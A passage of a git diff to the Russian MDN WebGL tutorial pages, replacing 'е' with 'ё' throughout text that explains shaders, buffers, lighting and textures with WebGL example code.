      Затем мы создаём шейдерную программу, вызывая функцию createProgram() объекта WebGL, присоединяя два шейдера к нему, и связывая шейдерную программу. После выполнения этого, проверяется значение параметра LINK_STATUS объекта gl для того, чтобы убедиться, что программа успешно скомпонована. Если это так, мы активируем новую шейдерную программу.

      Загрузка шейдеров из DOM

      -

      Функция getShader() получает из DOM шейдерную программу с определенным именем, возвращая скомпилированную шейдерную программу вызывающему, или значение null, если шейдерная программа не может быть загружена или скомпилирована.

      +

      Функция getShader() получает из DOM шейдерную программу с определённым именем, возвращая скомпилированную шейдерную программу вызывающему, или значение null, если шейдерная программа не может быть загружена или скомпилирована.

      function getShader(gl, id) {
         var shaderScript, theSource, currentChild, shader;
      @@ -82,7 +82,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
            return null;
         }
      -

      После того, как код для шейдера считан, мы проверяем MIME тип шейдерного объекта, чтобы определить является он вершинным (MIME type "x-shader/x-vertex") или фрагментным (MIME type "x-shader/x-fragment") шейдером, а затем создаем соответствующий тип шейдера из полученного исходного кода.

      +

      После того, как код для шейдера считан, мы проверяем MIME тип шейдерного объекта, чтобы определить является он вершинным (MIME type "x-shader/x-vertex") или фрагментным (MIME type "x-shader/x-fragment") шейдером, а затем создаём соответствующий тип шейдера из полученного исходного кода.

        gl.shaderSource(shader, theSource);
       
      @@ -109,7 +109,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
       
       

      Каждый пиксель в полигоне называется фрагментом в языке GL. Фрагментные шейдеры необходимы для назначения цвета для каждого пикселя. В данном случае, мы просто назначаем белый цвет каждому пикселю.

      -

      gl_FragColor - встроенная переменная GL, используемая для управления цветом фрагментов. Устанавливая ее значение назначаем цвет пикселям. Ниже приведен пример этого.

      +

      gl_FragColor - встроенная переменная GL, используемая для управления цветом фрагментов. Устанавливая её значение назначаем цвет пикселям. Ниже приведён пример этого.

      <script id="shader-fs" type="x-shader/x-fragment">
         void main(void) {
      @@ -136,7 +136,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
       
       

      Создание объекта

      -

      Перед тем, как мы отрисуем наш квадрат, нам необходимо создать буфер, который содержит его вершины. Мы сделаем это,  вызвав функцию initBuffers(). По мере ознакомления с другими концепциями WebGL, эта функция будет усложняться при создании более сложных трехмерных объектов.

      +

      Перед тем, как мы отрисуем наш квадрат, нам необходимо создать буфер, который содержит его вершины. Мы сделаем это,  вызвав функцию initBuffers(). По мере ознакомления с другими концепциями WebGL, эта функция будет усложняться при создании более сложных трёхмерных объектов.

      var horizAspect = 480.0/640.0;
       
      @@ -155,9 +155,9 @@ function initBuffers() {
       }
       
      -

      В этом примере эта функция упрощена и дает оценить основную суть сцены. Она начинает работу с вызова метода createBuffer() объекта gl для получения буфера, в котором мы будем хранить вершины. Затем он привязывается к контексту, вызовом метода bindBuffer().

      +

      В этом примере эта функция упрощена и даёт оценить основную суть сцены. Она начинает работу с вызова метода createBuffer() объекта gl для получения буфера, в котором мы будем хранить вершины. Затем он привязывается к контексту, вызовом метода bindBuffer().

      -

      После того, как мы это сделали, мы создаем JavaScript массив, содержащий координаты для каждой вершины квадрата. Затем этот массив преобразуется в массив вещественных чисел WebGL и передается в метод bufferData() объекта gl для назначения вершин объекту.

      +

      После того, как мы это сделали, мы создаём JavaScript массив, содержащий координаты для каждой вершины квадрата. Затем этот массив преобразуется в массив вещественных чисел WebGL и передаётся в метод bufferData() объекта gl для назначения вершин объекту.

      Отрисовка сцены

      @@ -180,17 +180,17 @@ function initBuffers() {

      Первый шаг - очистка цветом фона сцены контекста. Затем мы устанавливаем перспективу камеры. Мы устанавливаем угол обзора в 45°, с соотношением ширины к высоте равным 640/480 (размеры нашего объекта canvas). Мы также определяем, что мы хотим видеть отрисованными объекты на расстоянии от 0.1 до 100 единиц от камеры.

      -

      Затем мы устанавливаем позицию квадрата, загружая определенную позицию и размещая ее от камеры на 6 единиц. После этого, мы привязываем буфер, содержащий вершины квадрата к контексту, настраиваем его, и отрисовываем объект, вызывая метод drawArrays().

      +

      Затем мы устанавливаем позицию квадрата, загружая определённую позицию и размещая её от камеры на 6 единиц. После этого, мы привязываем буфер, содержащий вершины квадрата к контексту, настраиваем его, и отрисовываем объект, вызывая метод drawArrays().

      -

      Вы можете посмотреть как это работает щелкнув по этой ссылке. Но это только в том случае, если используемый браузер осуществляет поддержку WebGL.

      +

      Вы можете посмотреть как это работает щёлкнув по этой ссылке. Но это только в том случае, если используемый браузер осуществляет поддержку WebGL.

      Операции над матрицами

      Операции над матрицами достаточно сложны. Никому бы не хотелось самому писать весь код для работы с ними. К счастью, есть Sylvester - очень удобная библиотека для выполнения операций над векторами и матрицами, написанная на JavaScript.

      -

      Файл glUtils.js, используемый в этом примере, используется большинством примеров на WebGL, размещенных в сети интернет. Никто не знает точно откуда он появился. Он просто используется Sylvester и он даже пополняется методами для построения специальных типов матриц, а также вывода HTML для их отображения.

      +

      Файл glUtils.js, используемый в этом примере, используется большинством примеров на WebGL, размещённых в сети интернет. Никто не знает точно откуда он появился. Он просто используется Sylvester и он даже пополняется методами для построения специальных типов матриц, а также вывода HTML для их отображения.

      -

      Также, этот пример определяет несколько полезных процедур взаимодействия с этими библиотеками для выполнения определенных задач. Пояснения относительно того, что делает каждая из приведенных функций, выходят за рамки этого примера, но в сети есть много хороших материалов об операциях над матрицами. Чуть {{ anch("ниже") }} есть список некоторых из них.

      +

      Также, этот пример определяет несколько полезных процедур взаимодействия с этими библиотеками для выполнения определённых задач. Пояснения относительно того, что делает каждая из приведённых функций, выходят за рамки этого примера, но в сети есть много хороших материалов об операциях над матрицами. Чуть {{ anch("ниже") }} есть список некоторых из них.

      function loadIdentity() {
         mvMatrix = Matrix.I(4);
      diff --git a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
      index 919d3fccff..af607e92cf 100644
      --- a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
      +++ b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
      @@ -18,7 +18,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
       
      var squareRotation = 0.0;
       
      -

      Теперь нам надо изменить процедуру drawScene() и добавить в неё код, который бы учитывал этот угол поворота при отрисовке квадрата в нашей сцене. После первоначального расчета матрицы положения для квадрата мы применяем условия поворота следующим образом:

      +

      Теперь нам надо изменить процедуру drawScene() и добавить в неё код, который бы учитывал этот угол поворота при отрисовке квадрата в нашей сцене. После первоначального расчёта матрицы положения для квадрата мы применяем условия поворота следующим образом:

      mvPushMatrix();
       mvRotate(squareRotation, [1, 0, 1]);
      diff --git a/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
      index 0684b89016..f9390f7fe2 100644
      --- a/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
      +++ b/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
      @@ -9,9 +9,9 @@ original_slug: Web/API/WebGL_API/Tutorial/Создание_3D_объектов_
       ---
       

      {{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

      -

      Давайте поместим наш квадрат в трехмерное пространство, добавив еще 5 граней, чтобы получить куб. Чтобы сделать это наиболее продуктивно, вместо рисования вершин непосредственным вызовом метода {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , мы будем использовать массив вершин в виде таблицы и ссылаться на каждую вершину в этой таблице, чтобы определить положение каждой вершины грани, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.

      +

      Давайте поместим наш квадрат в трёхмерное пространство, добавив ещё 5 граней, чтобы получить куб. Чтобы сделать это наиболее продуктивно, вместо рисования вершин непосредственным вызовом метода {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , мы будем использовать массив вершин в виде таблицы и ссылаться на каждую вершину в этой таблице, чтобы определить положение каждой вершины грани, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.

      -

      Заметим: чтобы определить каждую грань необходимо четыре вершины, но каждая вершина принадлежит трем граням. Мы можем передавать намного меньше данных, построив список всех 24-х вершин, затем ссылаться на каждую из них в этом списке по её индексу, вместо того чтобы передавать все множество вершин. Если вы удивлены, почему нам нужны 24 вершины, а не только 8, так это потому, что каждое ребро принадлежит трем граням разных цветов, и каждая отдельная вершина должна иметь конкретный отдельный цвет - поэтому мы создадим 3 копии каждой вершины трех разных цветов, по одной для каждой грани.

      +

      Заметим: чтобы определить каждую грань необходимо четыре вершины, но каждая вершина принадлежит трём граням. Мы можем передавать намного меньше данных, построив список всех 24-х вершин, затем ссылаться на каждую из них в этом списке по её индексу, вместо того чтобы передавать все множество вершин. Если вы удивлены, почему нам нужны 24 вершины, а не только 8, так это потому, что каждое ребро принадлежит трём граням разных цветов, и каждая отдельная вершина должна иметь конкретный отдельный цвет - поэтому мы создадим 3 копии каждой вершины трёх разных цветов, по одной для каждой грани.

      Определение позиций вершин куба

      diff --git a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html index 0e50af82fa..c42db89750 100644 --- a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html @@ -7,9 +7,9 @@ translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL ---

      {{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}

      -

      WebGL позволяет веб-контенту использовать API, основанный на OpenGL ES 2.0, для визуализации трехмерной графики без использования плагинов в HTML элементе canvas в браузерах, которые осуществляют его поддержку. WebGL программы состоят из кода управления, написанном на JavaScript и кода специальных эффектов (шейдерного кода), который выполняется на графическом процессоре. WebGL элементы могут быть смешаны с другими HTML элементами и собраны с другими частями веб-страницы или фоном веб-страницы.

      +

      WebGL позволяет веб-контенту использовать API, основанный на OpenGL ES 2.0, для визуализации трёхмерной графики без использования плагинов в HTML элементе canvas в браузерах, которые осуществляют его поддержку. WebGL программы состоят из кода управления, написанном на JavaScript и кода специальных эффектов (шейдерного кода), который выполняется на графическом процессоре. WebGL элементы могут быть смешаны с другими HTML элементами и собраны с другими частями веб-страницы или фоном веб-страницы.

      -

      Эта статья знакомит вас с основами использования WebGL. Предполагается, что вы уже знакомы с математическими основами трехмерной графики. Данная статья не обучит вас OpenGL.

      +

      Эта статья знакомит вас с основами использования WebGL. Предполагается, что вы уже знакомы с математическими основами трёхмерной графики. Данная статья не обучит вас OpenGL.

      Подготовка к визуализации в 3D

      @@ -24,7 +24,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL

      Подготовка контекста WebGL

      -

      Функция start(), в нашем JavaScript коде вызывается после загрузки документа. Ее назначение - настройка контекста WebGL и начать отрисовку содержимого.

      +

      Функция start(), в нашем JavaScript коде вызывается после загрузки документа. Её назначение - настройка контекста WebGL и начать отрисовку содержимого.

      var gl; // глобальная переменная для контекста WebGL
       
      @@ -36,7 +36,7 @@ function start() {
         // продолжать только если WebGL доступен и работает
       
         if (gl) {
      -    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // установить в качестве цвета очистки буфера цвета черный, полная непрозрачность
      +    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // установить в качестве цвета очистки буфера цвета чёрный, полная непрозрачность
           gl.enable(gl.DEPTH_TEST);                               // включает использование буфера глубины
           gl.depthFunc(gl.LEQUAL);                                // определяет работу буфера глубины: более ближние объекты перекрывают дальние
           gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);      // очистить буфер цвета и буфер глубины.
      @@ -44,13 +44,13 @@ function start() {
       }
       
      -

      Первое, что мы здесь делаем - получаем ссылку на элемент canvas, помещаем ее в переменную canvas. Очевидно, что если вам не требуется многократно получать ссылку на canvas, вы должны избежать сохранения этого значения глобально, а только сохранить ее в локальной переменной или в поле объекта.

      +

      Первое, что мы здесь делаем - получаем ссылку на элемент canvas, помещаем её в переменную canvas. Очевидно, что если вам не требуется многократно получать ссылку на canvas, вы должны избежать сохранения этого значения глобально, а только сохранить её в локальной переменной или в поле объекта.

      -

      Как только мы получили ссылку на canvas, мы вызываем функцию initWebGL(); Эту функцию мы определяем незамедлительно, ее работа - инициализировать контекст WebGL.

      +

      Как только мы получили ссылку на canvas, мы вызываем функцию initWebGL(); Эту функцию мы определяем незамедлительно, её работа - инициализировать контекст WebGL.

      -

      Если контекст успешно инициализирован, в gl будет содержаться ссылка на него. В этом случае, мы устанавливаем цвет очистки буфера цвета (цвет фона) на черный, затем очищаем контекст этим цветом. После этого, контекст конфигурируется параметрами настройки. В данном случае, мы включаем буфер глубины и определяем, что более близкие объекты будут перекрывать более дальние.

      +

      Если контекст успешно инициализирован, в gl будет содержаться ссылка на него. В этом случае, мы устанавливаем цвет очистки буфера цвета (цвет фона) на чёрный, затем очищаем контекст этим цветом. После этого, контекст конфигурируется параметрами настройки. В данном случае, мы включаем буфер глубины и определяем, что более близкие объекты будут перекрывать более дальние.

      -

      Всё вышеперечисленное необходимо сделать только для первоначальной инициализации. Чуть позже мы увидим работу по визуализации трехмерных объектов.

      +

      Всё вышеперечисленное необходимо сделать только для первоначальной инициализации. Чуть позже мы увидим работу по визуализации трёхмерных объектов.

      Создание контекста WebGL

      @@ -80,19 +80,19 @@ function start() {
      Обратите внимание: Контекст, именуемый как "experimental-webgl" - это временное имя для контекста, используемое на время процесса разработки спецификации. После того, как спецификация будет полностью разработана будет использоваться только имя контекста "webgl".
      -

      На данном этапе этого кода достаточно, чтобы успешно инициализировать контекст WebGL, и вы увидите пустой черный блок, готовый к заполнению контентом.

      +

      На данном этапе этого кода достаточно, чтобы успешно инициализировать контекст WebGL, и вы увидите пустой чёрный блок, готовый к заполнению контентом.

      -

      Если ваш браузер поддерживает WebGL, то вы можете посмотреть результат выполнения приведенного выше кода, щелкнув по этой ссылке.

      +

      Если ваш браузер поддерживает WebGL, то вы можете посмотреть результат выполнения приведённого выше кода, щёлкнув по этой ссылке.

      Изменение размера контекста WebGL

      -

      Новый контекст WebGL будет иметь возможность задания размеров области отображения в момент получения контекста путем задания высоты и ширины элемента canvas, без использования CSS. Редактирование стиля элемента canvas будет изменять его отображаемый размер, без изменения размеров области отрисовки. Редактирование атрибутов ширины и высоты элемента canvas после создания контекста не будет также изменять число пикселей для отрисовки. Чтобы изменить размер области отрисовки, с которой WebGL производит работу, например, когда пользователь изменяет размер окна на весь экран или когда вам необходимо менять настройки графики в самом приложении, вам необходимо вызвать контекстную функцию WebGL viewport(), чтобы подтвердить изменения.

      +

      Новый контекст WebGL будет иметь возможность задания размеров области отображения в момент получения контекста путём задания высоты и ширины элемента canvas, без использования CSS. Редактирование стиля элемента canvas будет изменять его отображаемый размер, без изменения размеров области отрисовки. Редактирование атрибутов ширины и высоты элемента canvas после создания контекста не будет также изменять число пикселей для отрисовки. Чтобы изменить размер области отрисовки, с которой WebGL производит работу, например, когда пользователь изменяет размер окна на весь экран или когда вам необходимо менять настройки графики в самом приложении, вам необходимо вызвать контекстную функцию WebGL viewport(), чтобы подтвердить изменения.

      Чтобы изменить размер области отрисовки контекста WebGL с переменными gl и canvas, использующимися в примере выше:

      gl.viewport(0, 0, canvas.width, canvas.height);
      -

      Элемент canvas будет изменять размер, в случае, если его отрисовать с другими размерами области отрисовки, чем те, что указаны в его стилях CSS, согласно которым он занимает место на экране. Изменение размера с помощью CSS наиболее полезно для сохранения ресурсов, отрисовывая с низким разрешением и позволяя браузеру растягивать полученный результат; сжимать возможно при использовании эффекта избыточной выборки сглаживания ( super sample antialiasing - SSAA) (приводит к менее приемлемым результатам и серьезным потерям производительности). В большинстве случаев лучше полагаться на множественную выборку сглаживания (MSAA) и на реализацию алгоритмов фильтрации текстур, которые поддерживаются браузером пользователя, чем делать то же самое посредством грубой силы и надеяться, что алгоритм масштабирования изображений, используемый браузером, выдаст красивый результат.

      +

      Элемент canvas будет изменять размер, в случае, если его отрисовать с другими размерами области отрисовки, чем те, что указаны в его стилях CSS, согласно которым он занимает место на экране. Изменение размера с помощью CSS наиболее полезно для сохранения ресурсов, отрисовывая с низким разрешением и позволяя браузеру растягивать полученный результат; сжимать возможно при использовании эффекта избыточной выборки сглаживания ( super sample antialiasing - SSAA) (приводит к менее приемлемым результатам и серьёзным потерям производительности). В большинстве случаев лучше полагаться на множественную выборку сглаживания (MSAA) и на реализацию алгоритмов фильтрации текстур, которые поддерживаются браузером пользователя, чем делать то же самое посредством грубой силы и надеяться, что алгоритм масштабирования изображений, используемый браузером, выдаст красивый результат.

      Смотрите также

      diff --git a/files/ru/web/api/webgl_api/tutorial/index.html b/files/ru/web/api/webgl_api/tutorial/index.html index 9b0f0f75e6..88f55bf361 100644 --- a/files/ru/web/api/webgl_api/tutorial/index.html +++ b/files/ru/web/api/webgl_api/tutorial/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/WebGL_API/Tutorial

      Перед тем как начать

      -

      Использование элемента <canvas>  - это не сложно, но вы должны понимать основы HTML и JavaScript. <canvas> и WebGL не поддерживаются в некоторых старых браузерах, но поддерживаются в последних версиях всех основных. Чтобы рисовать графику на canvas нужно использовать объекты контекста JavaScript, который создает графику на лету.

      +

      Использование элемента <canvas>  - это не сложно, но вы должны понимать основы HTML и JavaScript. <canvas> и WebGL не поддерживаются в некоторых старых браузерах, но поддерживаются в последних версиях всех основных. Чтобы рисовать графику на canvas нужно использовать объекты контекста JavaScript, который создаёт графику на лету.

      В этом руководстве

      @@ -35,5 +35,5 @@ translation_of: Web/API/WebGL_API/Tutorial
      Освещение объектов в WebGL
      Как симулировать эффект света в контексте WebGL.
      Анимирование текстур в WebGL
      -
      Как анимировать текстуры; здесь путем отображения Ogg видео на поверхность вращающегося куба.
      +
      Как анимировать текстуры; здесь путём отображения Ogg видео на поверхность вращающегося куба.
      diff --git a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html index 57c1b21e35..f1645ba200 100644 --- a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL

      Окружающий свет освещает всю сцену. Он не направленный и освещает все грани всех объектов одинаково, не зависимо от ориентации граней.

      -

      Направленный свет исходит из определенного направления. Этот свет приходит от настолько удаленного источника, что все фотоны летят параллельно друг другу. К примеру, солнечный свет можно считать.

      +

      Направленный свет исходит из определённого направления. Этот свет приходит от настолько удалённого источника, что все фотоны летят параллельно друг другу. К примеру, солнечный свет можно считать.

      Точечный свет исходит из одной точки во всех направлениях. В реальном мире многие источники освещения являются точечными, например электрическая лампочка.

      @@ -28,11 +28,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
    • Нам нужно знать направление, в котором распространяется свет. Оно определяется вектором направления.
    • -

      Затем мы обновим вершинный шейдер, чтобы скорректировать цвет каждой вершины в зависимости от окружающего и направленного освещения с учетом угла падения на грань. Мы увидим, как это делается, когда посмотрим на код шейдера.

      +

      Затем мы обновим вершинный шейдер, чтобы скорректировать цвет каждой вершины в зависимости от окружающего и направленного освещения с учётом угла падения на грань. Мы увидим, как это делается, когда посмотрим на код шейдера.

      Построение нормали для вершин

      -

      Сначала нам нужно создать массив нормалей для всех вершин, из которых состоит наш куб. Это будет просто, потому что куб очень простой объект. Очевидно, что для более сложных объектов расчет нормалей будет более затратным.

      +

      Сначала нам нужно создать массив нормалей для всех вершин, из которых состоит наш куб. Это будет просто, потому что куб очень простой объект. Очевидно, что для более сложных объектов расчёт нормалей будет более затратным.

        const normalBuffer = gl.createBuffer();
         gl.bindBuffer(gl.ARRAY_BUFFER, normalBuffer);
      @@ -89,7 +89,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
       
       
      -

      Код уже должен выглядеть узнаваемо. Мы создаем новый буфер, связываем его с рабочим буфером и записываем в него массив нормалей к вершинам при помощи bufferData().

      +

      Код уже должен выглядеть узнаваемо. Мы создаём новый буфер, связываем его с рабочим буфером и записываем в него массив нормалей к вершинам при помощи bufferData().

      Затем добавим в drawScene() код, который свяжет массив нормалей с атрибутом шейдера. Таким образом шейдер сможет получить к нему доступ:

      @@ -114,7 +114,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL   }
      -

      В конце нужно обновить код, который строит матрицы для uniform-переменных, чтобы создать и передать в шейдер матрицу нормалей, которая используется для трансформации нормалей при расчете ориентации куба относительно направления на источник света:

      +

      В конце нужно обновить код, который строит матрицы для uniform-переменных, чтобы создать и передать в шейдер матрицу нормалей, которая используется для трансформации нормалей при расчёте ориентации куба относительно направления на источник света:

        const normalMatrix = mat4.create();
         mat4.invert(normalMatrix, modelViewMatrix);
      @@ -166,15 +166,15 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
         `;
       
      -

      После расчета позиции вершины мы передаем координаты текселя ({{Glossary("texel")}}), соответствующего вершине, во фрагментный шейдер, и начинаем расчет освещения вершины.

      +

      После расчёта позиции вершины мы передаём координаты текселя ({{Glossary("texel")}}), соответствующего вершине, во фрагментный шейдер, и начинаем расчёт освещения вершины.

      Сначала нужно преобразовать нормаль, основываясь на текущей ориентации куба - умножив нормаль вершины на матрицу нормалей. Затем мы можем рассчитать количество света от направленного источника, которое приходит в вершину, посчитав скалярное произведение преобразованной нормали и вектора направления (направления, с которого приходит свет). Если скалярное произведение меньше нуля, то мы принимаем его за ноль, потому что количество света не может быть меньше 0.

      -

      После расчета количества падающего направленного света мы можем посчитать финальное освещение, сложив окружающий свет и произведение количества направленного света на его цвет. В результате получается значение RGB, которое используется фрагментным шейдером для изменения цвета каждого пикселя.

      +

      После расчёта количества падающего направленного света мы можем посчитать финальное освещение, сложив окружающий свет и произведение количества направленного света на его цвет. В результате получается значение RGB, которое используется фрагментным шейдером для изменения цвета каждого пикселя.

      Фрагментный шейдер

      -

      Фрагментный шейдер должен быть обновлен таким образом, чтобы он учитывал в значение освещения, рассчитанное в вершинном шейдере:

      +

      Фрагментный шейдер должен быть обновлён таким образом, чтобы он учитывал в значение освещения, рассчитанное в вершинном шейдере:

        const fsSource = `
           varying highp vec2 vTextureCoord;
      diff --git a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
      index 0c01467385..1e3a2c7358 100644
      --- a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
      +++ b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
      @@ -11,14 +11,14 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
       
       

      Задание цвета вершинам

      -

      В GL, объекты строятся с использованием наборов вершин, для каждой из которых задается положение в пространстве и цвет. По умолчанию, цвета всех остальных пикселей (и все их другие атрибуты, включая положение в пространстве) вычисляются с использованием линейной интерполяции, автоматически создавая плавный градиент. В прошлый раз наш вершинный шейдер не задавал определенных цветов вершинам, а фрагментный шейдер назначил фиксированный белый цвет каждому пикселю, поэтому квадрат целиком был отрисован белым цветом.

      +

      В GL, объекты строятся с использованием наборов вершин, для каждой из которых задаётся положение в пространстве и цвет. По умолчанию, цвета всех остальных пикселей (и все их другие атрибуты, включая положение в пространстве) вычисляются с использованием линейной интерполяции, автоматически создавая плавный градиент. В прошлый раз наш вершинный шейдер не задавал определённых цветов вершинам, а фрагментный шейдер назначил фиксированный белый цвет каждому пикселю, поэтому квадрат целиком был отрисован белым цветом.

      -

      Предположим, что мы хотим отрисовать градиент, в котором каждый угол квадрата разного цвета: красного, синего, зеленого и белый. Первое, что необходимо сделать - назначить эти цвета четырем вершинам. Чтобы сделать это, нам сначала необходимо создать массив цветов вершин, а затем сохранить его в WebGL буфер. Мы сделаем это, добавив следующий код в нашу функцию initBuffers():

      +

      Предположим, что мы хотим отрисовать градиент, в котором каждый угол квадрата разного цвета: красного, синего, зелёного и белый. Первое, что необходимо сделать - назначить эти цвета четырём вершинам. Чтобы сделать это, нам сначала необходимо создать массив цветов вершин, а затем сохранить его в WebGL буфер. Мы сделаем это, добавив следующий код в нашу функцию initBuffers():

        var colors = [
           1.0,  1.0,  1.0,  1.0,    // белый
           1.0,  0.0,  0.0,  1.0,    // красный
      -    0.0,  1.0,  0.0,  1.0,    // зеленый
      +    0.0,  1.0,  0.0,  1.0,    // зелёный
           0.0,  0.0,  1.0,  1.0     // синий
         ];
       
      @@ -48,11 +48,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
           </script>
       
      -

      Ключевым отличием здесь является то, что для каждой вершины, мы задаем цвет на соответствующее значение из массива цвета.

      +

      Ключевым отличием здесь является то, что для каждой вершины, мы задаём цвет на соответствующее значение из массива цвета.

      Окраска фрагментов

      -

      Чтобы напомнить, как фрагментный шейдер выглядел ранее, ниже приведен его код:

      +

      Чтобы напомнить, как фрагментный шейдер выглядел ранее, ниже приведён его код:

          <script id="shader-fs" type="x-shader/x-fragment">
             void main(void) {
      @@ -88,7 +88,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
         gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);
       
      -

      На этом этапе, вы можете посмотреть результат работы написанного кода, если используете браузер, поддерживающий WebGL. Вы увидите нечто похожее на следующий рисунок (расположенный по центру в большом черном поле):

      +

      На этом этапе, вы можете посмотреть результат работы написанного кода, если используете браузер, поддерживающий WebGL. Вы увидите нечто похожее на следующий рисунок (расположенный по центру в большом чёрном поле):

      screenshot.png

      diff --git a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html index 706bf00786..5d3b79d1bc 100644 --- a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL ---

      {{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

      -

      Сейчас наша программа рисует вращающийся объемный куб - давайте натянем на него текстуру вместо заливки граней одним цветом.

      +

      Сейчас наша программа рисует вращающийся объёмный куб - давайте натянем на него текстуру вместо заливки граней одним цветом.

      Загрузка текстур

      @@ -52,7 +52,7 @@ function loadTexture(gl, url) { // и к не имеющим размер степени 2, поэтому проверяем, что изображение   // имеет размер степени 2 в обеих измерениях. if (isPowerOf2(image.width) && isPowerOf2(image.height)) { - // Размер соответствует степени 2. Создаем MIP'ы. + // Размер соответствует степени 2. Создаём MIP'ы. gl.generateMipmap(gl.TEXTURE_2D); } else { // Размер не соответствует степени 2. @@ -71,15 +71,15 @@ function isPowerOf2(value) { return (value & (value - 1)) == 0; }
      -

      Функция loadTexture() начинается с создания объекта WebGL texture вызовом функции {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Сначала функция создает текстуру из единственного голубого пикселя, используя {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Таким образом текстура может быть использована сразу (как сплошной голубой цвет) при том, что загрузка изображения может занять некоторое время.

      +

      Функция loadTexture() начинается с создания объекта WebGL texture вызовом функции {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Сначала функция создаёт текстуру из единственного голубого пикселя, используя {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Таким образом текстура может быть использована сразу (как сплошной голубой цвет) при том, что загрузка изображения может занять некоторое время.

      -

      Чтобы загрузить текстуру из файла изображения, функция создает объект Image и присваивает атрибуту src адрес, с которого мы хотим загрузить текстуру. Функция, которую мы назначили на событие image.onload,будет вызвана после завершения загрузки изображения. В этот момент мы вызываем {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, используя загруженное изображение как исходник для текстуры. Затем мы устанавливаем фильтрацию и натяжение, исходя из того, является ли размер изображения степенью 2 или нет.

      +

      Чтобы загрузить текстуру из файла изображения, функция создаёт объект Image и присваивает атрибуту src адрес, с которого мы хотим загрузить текстуру. Функция, которую мы назначили на событие image.onload,будет вызвана после завершения загрузки изображения. В этот момент мы вызываем {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, используя загруженное изображение как исходник для текстуры. Затем мы устанавливаем фильтрацию и натяжение, исходя из того, является ли размер изображения степенью 2 или нет.

      В WebGL1 изображения размера, не являющегося степенью 2, могут использовать только NEAREST или LINEAR фильтрацию, и для них нельзя создать mipmap. Также для таких изображений мы должны установить натяжение CLAMP_TO_EDGE. С другой стороны, если изображение имеет размер степени 2 по обеим осям, WebGL может производить более качественную фильтрацию, использовать mipmap и режимы натяжения REPEAT или MIRRORED_REPEAT.

      Примером повторяющейся текстуры является изображение нескольких кирпичей, которое размножается для покрытия поверхности и создания изображения кирпичной стены.

      -

